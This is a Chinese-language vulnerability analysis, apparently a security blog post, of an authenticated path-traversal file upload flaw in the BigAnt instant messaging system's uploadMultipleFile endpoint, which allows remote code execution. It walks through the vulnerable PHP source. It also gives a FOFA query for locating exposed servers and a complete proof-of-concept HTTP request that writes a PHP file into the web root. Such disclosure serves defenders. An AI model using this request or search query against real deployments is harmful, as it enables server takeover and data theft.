大蚂蚁 (BigAnt) 即时通讯系统 uploadMultipleFile 任意文件上传漏洞


漏洞简介

杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 uploadMultipleFile 接口存在目录遍历+任意文件写入/上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。

影响版本

BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响

fofa语法

(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"

漏洞分析

直接看 \Addin\Controller\UploadController::uploadMultipleFile 的实现逻辑开始部分的初始化

public function _initialize()
{
        parent::_initialize();
        // 权限检查
        if (!sp_user_islogin()) {
                $this->response(["status" => "0", "msg" => "Unauthorized"], "json", 401);
        }
}

有权限检查,需要一个合法session即可。

往下看uploadMultipleFile()方法的实现逻辑

public function uploadMultipleFile(){
    $saas_id = sp_saas_id() ;
    if (!$saas_id)
       $saas_id = '0';

       $app_name = I('get.app_name','admin') ;
       $options['file_id'] = I('get.file_id') ;
       $options['rename'] = I('get.rename',1) ; // 0 原始名 1 重命名
       $options['exts'] = I('get.exts') ;
       $options['max_size'] = I('get.max_size',100) ;
       $options['thumb_size'] = I('get.thumb_size') ;
       $options['thumb_only'] = I('get.thumb_only',0) ;
       $uploaded = I('get.fileCount');//已上传的文件个数
       $count = I('get.limitCount');//文件上传总数限制

       if(strpos($options['exts'],"php")!==false){
          $html = json_encode(['status'=>0,"info"=>'禁止上传非法文件后缀']);
          $html = '<script language="javascript">parent.openValid();parent.uploadComplete(' . $html . ');</script>';
          echo $html ;
       }

       $fileData =  \Common\Lib\SaasSDK::getUploadFile($options['file_id']);

       // $fileData 返回的文件肯定是1个
       //$uploadifyCount = count($fileData['name']);//获取要上传的文件个数
       $uploadifyCount =1;

       //获取上传目录
       $dir =  \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;
       sp_folder_create($dir);

       //文件上传分为单文件上传和多文件上传
       if($uploadifyCount > 1){
          //比较上传的文件个数是否超过最大上限个数
          if($uploaded + $uploadifyCount > $count){
             $res = sp_api_fail(ERR_UPLOAD_ERR, L('_UPLOAD_IMAGE_LIMIT_').$count.L('_UPLOAD_IMAGE_UNIT_'));
          }else{

             //合并多维数组
             $files = \Common\Lib\SaasSDK::getUploadFileData($fileData);
             //上传文件
             foreach($files as $file){
                $res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$file);
             }

             $data['files'] = $res['data'] ;
             $data['status'] = 1 ;

          }
       }else{
          $res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$fileData);          
          if (! $res['status']){
             $data = sp_return_fail($res['err_msg']);
          }else{
             $data = $res['data'] ;
             $data['status'] = 1 ;
          }
       }

       $returnType = I('get.return_type','js');
       ob_clean();

       if ($returnType == 'js'){
          $html = json_encode($data);
          $html = '<script language="javascript">parent.openValid();parent.uploadComplete(' . $html . ');</script>';
          echo $html ;
       }else{
          var_dump($data);
          die();
       }

}

重点看$dir = \Common\Lib\SaasSDK::getStoragePath($saas_id,$app_name) ;因为这里涉及文件保存路径,后续使用sp_folder_create($dir);直接创建文件夹路径。

其中$saas_id来自session查询结果,$app_name来自用户的GET参数app_name,且直接拼接在路径中

/**
 * 得到存储的路径
 * @param string $saasId
 * @param string $appName
 * @param string $folder
 */
static function getStoragePath($saasId,$appName,$folder = ''){
        $dir =  "/data/$saasId/$appName/" ;

        if ($folder)
                $dir .= $folder ;
        return $dir ;
}

最终保存路径为"/data/$saasId/$appName/" ,因此我们可以通过目录穿越到其他可执行目录,入根目录的public、doc目录等进行代码执行达到rce的效果。

再看 $res = \Common\Lib\SaasSDK::uploadAnFile($options,$dir,$fileData);涉及文件保存的具体操作部分

/**
 * 表单提交上传文件  服务器存储是 saasId/pan, 目前支持一个附件
 * @param unknown $dir        上传保存路径
 * @param unknown $uploadFile 表单提交数据
 * @param unknown $fileId 指定的文件ID
 * @param unknown $exts 扩展名  array('jpg', 'gif', 'png', 'jpeg')
 * @param unknown $maxSize 附件大小限制
 * @param unknown $options array(
 *                         'file_id'=>''  有的话指定控件ID
 *                         "exts"=>"jpg,png,gif",
 *                         "max_size",        以M为单位
 *                         "thumb_size", 缩略图的尺寸
 *                         "thumb_only"  1 只保留缩略图
 * @return array status
        ["name"]=> "Hydrangeas.jpg"
        ["type"]=> "image/jpeg"
        ["size"]=> int(595284)
        ["key"]=> string(5) "file1"
        ["ext"]=> string(3) "jpg"
        ["md5"]=> string(32) "bdf3bf1da3405725be763540d6601144"
        ["sha1"]=> string(40) "d997e1c37edc05ad87d03603e32ad495ee2cfce1"
        ["savename"]=> string(17) "56c42298a5b33.jpg"
        ["savepath"]=> string(25) "/data/uploads/2016-02-17/"
        ["status"]=> int(1)
 */
static function uploadAnFile($options,$dir,$uploadFile){

        //获取参数
        $fileId = sp_array_value($options,'file_id');
        $maxSize = sp_array_value($options,'max_size',10);
        $exts = sp_array_value($options,'exts','');
        $thumbSize = sp_array_value($options,'thumb_size');
        $thumbOnly = sp_array_value($options,'thumb_only');

        if (! array_key_exists('rename', $options)){
                $options['rename'] = 1 ;
        }

        //设置选项
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize=$maxSize*1024*1024 ;// 设置附件上传大小
        if ($exts){
                $upload->exts=explode(",",$exts);
        }

        if($options['saveExt']) $upload->saveExt=$options['saveExt'];
        $upload->replace = 1;
        $upload->rootPath = '.'; // 设置附件上传根目录
        $upload->savePath = $dir; // 设置附件上传(子)目录

        //不重命名
        if ($options['rename'] == 0){
                $pathinfo = sp_pathinfo($uploadFile['name']);
                $upload->saveName = $pathinfo['filename'];

                //不重名的话,上传文件可以覆盖
                $upload->uploadReplace = false; //不起效

                //因为不起效,先删除后上传
                //$filepath = $_SERVER['DOCUMENT_ROOT'] . $upload->savePath . $pathinfo['basename'];
                //unlink($filepath);
        }elseif($options['savename_no_change']==1){
                $upload->saveName='';
        }

//上传
        $info   =   $upload->upload(array($uploadFile));

//返回
        if(!$info) {// 上传错误提示错误信息
                $msg = $upload->getError() ;
                return sp_api_fail(ERR_UPLOAD_ERR, $msg);
        }

        $file = $info[0];

        $file['savefile'] = $file['savepath'] . $file['savename'];
        $file['key'] = $fileId ; //用来识别不同的上传控件
        $file['file_type'] = sp_file_type($file['ext']);
        //如果指定生成缩略图,并且文件类型图图片类型,则生成缩略图
        if($thumbSize && $file['file_type']==2){
        .....
        }

        return sp_api_success($file) ;
}

我们只需要重点关注,其中f ($options['rename'] == 0)不会重命名,$exts决定后缀如何处理,可以不提供就不处理,保持文件名原有后缀。

漏洞复现

需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式

/addin/Upload/uploadMultipleFile.html

/addin/Upload/uploadMultipleFile

POST /addin/Upload/uploadMultipleFile?exts=&rename=0&app_name=admin/../../../doc/ HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 140

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="tesx.php"

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--

成功上传文件到doc目录下

访问上传文件,成功执行上传代码。


手机扫码阅读

大蚂蚁 (BigAnt) 即时通讯系统 Pan/Upload/upload 文件上传漏洞

【威胁情报】GitHub accesskey_tools 工具投毒后门分析

评 论